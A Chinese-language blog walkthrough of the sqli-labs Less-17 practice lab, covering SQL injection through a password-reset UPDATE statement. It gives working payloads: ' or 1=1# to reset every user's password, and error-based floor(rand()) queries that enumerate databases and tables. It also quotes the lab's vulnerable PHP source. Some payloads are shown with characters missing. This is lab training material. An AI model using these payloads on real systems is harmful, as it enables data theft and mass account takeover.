sqli-labs less17 password-update

2019-05-14  本文已影响0人  Yix1a

-----------------------------------less-17-----------------------------------

原url

http://192.168.137.138/sqli-labs-master/Less-17/

页面显示:
[PASSWORD RESET](密码重置)

说明这个页面很有可能是 使用了 update 语句

很多 网页 有修改 密码的功能(重置密码),类似于此网页,输入一个 用户名,然后输入新密码,返回页面提示:密码修改成功

先猜测这个页面的 后台 sql 语句:

update table set password= inputpass where username=" inputuname ";

当然,这个 inputpass 和 inputuname 两侧可能有闭合条件,但是可以初步猜测为以上语句

可以看出, password reset 页面,既然在 username 没法注入,而且又使用了 update
语句,所以可以试试在 inputpass 里构造语句

第二步:

--基于password 的测试,判断注入的可行性

**哎太菜,不知道为什么 测试 password 的时候,必须满足 username 框中的值是正确的,返回页面才会正确

现在不忙管那么多

构造语句:

username 框中输入 : admin

New Password 框中输入:'\

页面报错了:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' WHERE username='admin'' at line 1

错误分析:

near '' WHERE username='admin'' at line 1

先分离最外层 的 单引号

near ' ' WHERE username='admin' ' at line 1

先看 admin ,admin是由 ''包裹的,修改一下猜测的语句:

update table set password= inputpass where username='inputuname'

本来是 输入 的 '\ ,为什么变成 ' 了呢????

分析:

先将 '\ 复制到 inputpass 这个位置代替

update table set password='\ where username='inputuname'

假设 inputpass 之前也是 被 '' 包裹,那么'\放在inputpass的效果为:

update table set password=''' where username='inputuname'

password 等于一个空

update table set password='' ' where username='inputuname'

左边构成了 password 等于 空 的语句,虽然为空,但是没有语法错误

右边 出现了 ' 没闭合的情况,所以会爆语法错误

所以后台 sql 语句应该为:

update table set password='inputpass' where username='inputuname'

因为inputpass这里出错了,所以爆出了语法错误

说明:基于password 的测试,判断出注入是存在的

第三步:

-- SET 语句接收逻辑运算值的执行结果

构造一个普通的语句:

' or 1=1#
(这个只是 inputpass 的内容,不要忘了 inputuname 的内容是必须为真的 用admin吧)

将其放入猜测好的 sql 语句中:

update table set password='' or 1=1 # where username='inputuname'
(user name 框里 填入 admin,不然的话会失败)

后面的东西不用管,被注释了

update table set password='' or 1=1

这个是个什么意思呢??

返回 后台 sql 中查询一下

mysql> select * from users;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | 1 |
| 2 | Angelina | 1 |
| 3 | Dummy | 1 |
| 4 | secure | 1 |
| 5 | stupid | 1 |
| 6 | superman | 1 |
| 7 | batman | 1 |
| 8 | admin | 1 |
| 9 | admin1 | 1 |
| 10 | admin2 | 1 |
| 11 | admin3 | 1 |
| 12 | dhakkan | 1 |
| 14 | admin4 | 1 |
+----+----------+----------+
13 rows in set (0.00 sec)

发现所有的 password 都被改成 1 了

分析语句:

update table set password='' or 1=1

更新 users 表里的 password 内容 为 空 或者 1=1

知道了 or 是其一为真就为真,所以 等号 后的条件 返回 为 真(也就是1)

更新 users 表里的 password 内容 为 1,而where条件被注释了,所有的where条件都会被修改

所以说 SET 语句 接收 逻辑运算的结果,逻辑运算就是 空 or 1=1

            前端注入测试

通过前面的测试,大致掌握了 update 语句的结构,注入点在 password 的位置上

那么该采用什么注入类型呢?

既然在 password 的位置上 能爆出语法错误

那么尝试一下 基于错误的注入的 语句

就用之前学的 逻辑错误吧

先构造一个:

' and (select 1 from (select count(),concat(':::',database(),':::',floor(rand()2))x from information_schema.tables group by x ) a ) #

把这个语句呢,放在 password 框里试一试

效果:

Duplicate entry '::security::0' for key 'group_key'

看见熟悉的错误语句了,顺便也把当前使用的数据库名给抱了出来

来看看有哪些数据库

构造语句:

' and (select 1 from (select count(),concat('::',(select schema_name from information_schema.shemata limit 0,1),'::',floor(rand()2))x from information_schema.columns group by x) a ) #

效果:

Duplicate entry '::information_schema::0' for key 'group_key'

只要修改 limit 后面的行数 就可以 遍历 所有 数据库了

来查一查security数据库中 有哪些表:

构造语句:

' and (select 1 from (select count(),concat('::',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'::',floor(rand()2))x from information_schema.tables group by x) A ) #

效果如下:

Duplicate entry '::emails::1' for key 'group_key'

同样的,只要修改 limit 后面的行数 就可以 遍历 所有 security 中的表名了

列名也是一样的方法,内容查询也一样

但是有个问题,比如我要查找 users表下面 的username 和 password

查找 password 的时候,有一定的几率会使 password 改变......

比如我把 secure 用户 对应的 password 改成 123456789

然后去查找 password :

效果如下:

中间有几次显示失败了,因为本来这个逻辑BUG就是不确定的嘛,但是 由于 update 语句的特性

使得 password 本来是 1234567 的改成了

Duplicate entry '::0::0' for key 'group_key'

0

扯淡。。。。。

因为本身这个 页面 的update 语句就是用来修改 password 的

如果去查找 password 那么,根据 floor(rand()*2) 有一定几率失败的尿性,得出了有一定几率修改 password 的结果

遍历整个 注入 过程;

-- 基于username 的测试,判断注入的可行性

-- 基于password 的测试,判断注入的可行性

-- SET 语句接收逻辑运算值的执行结果(特性)

-- 判断后台 SQL 语句结构

-- 构造注入语句

-----------------------------------源码部分----------------------------------

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

function check_input(value) { if(!empty(value))
{
// truncation (see comments)
value = substr(value,0,15);
}

    // Stripslashes if magic quotes enabled
    if (get_magic_quotes_gpc())
        {
        $value = stripslashes($value);
        }

    // Quote if not a number
    if (!ctype_digit($value))
        {
        $value = "'" . mysql_real_escape_string($value) . "'";
        }
    
else
    {
    $value = intval($value);
    }
return $value;
}

// take the variables
if(isset(_POST['uname']) && isset(_POST['passwd']))

{
//making sure uname is not injectable
uname=check_input(_POST['uname']);

passwd=_POST['passwd'];

//logging the connection parameters to a file for analysis.
fp=fopen('result.txt','a'); fwrite(fp,'User Name:'.uname."\n"); fwrite(fp,'New Password:'.passwd."\n"); fclose(fp);

// connectivity
@sql="SELECT username, password FROM users WHERE username=uname LIMIT 0,1";

result=mysql_query(sql);
row = mysql_fetch_array(result);
//echo row; if(row)
{
//echo '<font color= "#0000ff">';
row1 =row['username'];
//echo 'Your Login name:'. row1;update="UPDATE users SET password = 'passwd' WHERE username='row1'";
mysql_query($update);
echo "
";

    if (mysql_error())
    {
        echo '<font color= "#FFFF00" font size = 3 >';
        print_r(mysql_error());
        echo "</br></br>";
        echo "</font>";
    }
    else
    {
        echo '<font color= "#FFFF00" font size = 3 >';
        //echo " You password has been successfully updated " ;     
        echo "<br>";
        echo "</font>";
    }

    echo '<img src="../images/flag1.jpg"   />'; 
    //echo 'Your Password:' .$row['password'];
    echo "</font>";



}
else  
{
    echo '<font size="4.5" color="#FFFF00">';
    //echo "Bug off you Silly Dumb hacker";
    echo "</br>";
    echo '<img src="../images/slap1.jpg"   />';

    echo "</font>";  
}

}

?>

可以从源码中看出:

uname=check_input(_POST['uname']);

从 username 框中输入的 值,一传参到服务器中,就被放到 check_input 函数去做防sql注入处理了

但是 passwd=_POST['passwd']; 没有做任何处理

因为 本来 人家就是 修改密码的,你如果把这个密码给处理的话,那么别人 的原密码怎么办(现在太菜,想不出办法,强行如此理解)

update="UPDATE users SET password = 'passwd' WHERE username='$row1'";

可以看出,这里是使用了update语句的

@sql="SELECT username, password FROM users WHERE username=uname LIMIT 0,1";

这里的sql 语句也只是 用 where 判断了 username 是否为真,这也就解释了,为什么在注入的时候,为什么 username 框里必须填真值,如果不是真值的话,那么后面的语句:

if($row)

就不会执行,而 update 语句是在 if 语句下的,所以username要为真,才能利用 SET 的逻辑运算

哎太菜,不知道为什么 测试 password 的时候,必须满足 username 框中的值是正确的,返回页面才会正确

并不是太菜,而是不知道 页面 相关的 后台语句是什么,所以无法判断准确

上一篇下一篇

猜你喜欢

热点阅读